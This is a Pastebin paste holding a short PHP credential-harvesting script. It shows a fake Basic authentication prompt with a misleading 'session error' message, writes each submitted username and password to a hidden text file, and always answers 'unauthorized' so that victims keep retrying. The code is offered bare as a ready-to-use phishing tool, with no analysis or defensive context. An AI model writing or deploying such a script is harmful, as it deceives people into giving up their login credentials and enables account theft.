Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if(isset($_SERVER['PHP_AUTH_USER'])){
- $Handle = @fopen('SecretName.txt', 'a');
- @fwrite($Handle, "Username = {$_SERVER['PHP_AUTH_USER']}\r\n");
- @fwrite($Handle, "Password = {$_SERVER['PHP_AUTH_PW']}\r\n\r\n");
- @fclose($Handle);
- }
- header('WWW-Authenticate: Basic realm="A session error has occured please verify your Username and Password."');
- header('HTTP/1.0 401 Unauthorized');
- exit;
- ?>
Add Comment
Please, Sign In to add comment